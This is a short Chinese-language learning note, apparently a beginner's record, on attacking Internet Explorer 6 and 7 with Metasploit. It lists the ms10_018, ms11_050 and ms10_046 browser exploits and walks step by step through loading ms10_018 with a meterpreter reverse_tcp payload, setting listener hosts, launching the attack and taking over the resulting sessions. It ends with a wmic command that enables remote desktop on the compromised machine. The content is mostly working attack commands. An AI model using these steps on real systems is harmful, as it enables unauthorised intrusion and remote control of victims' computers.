从零开始学习kali-metasploit 7月23日

                                                      kali

                                                                                                                                                            ---小白121的记录

介绍IE 6 7 的几个攻击漏洞

运用渗透工具：metasploit

 

metasploit

模块：

• ms10_018
• ms11_050
• ms10_046

 

开启metasploit：

msfconsole

调用ms10_018模块:

msf > use exploit/windows/browser/ms10_018_ie_behaviors 

加载反弹模块：

set payload windows/meterpreter/reverse_tcp

设置 LHOST SRVHOST 参数：

set LHOST IP
set SRVHOST IP

设置浏览器路径：

set URIPATH 路径

开启攻击：

exploit

查看反弹：

session -l

切换反弹：

session -i 序号

 

攻击成功

其他几个语法相同

 

进入Dos命令行：

shell

开启远程桌面：

wmic /node:%pcname% /USER:%pcaccount% PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

 有些需要输入密码所以会不成功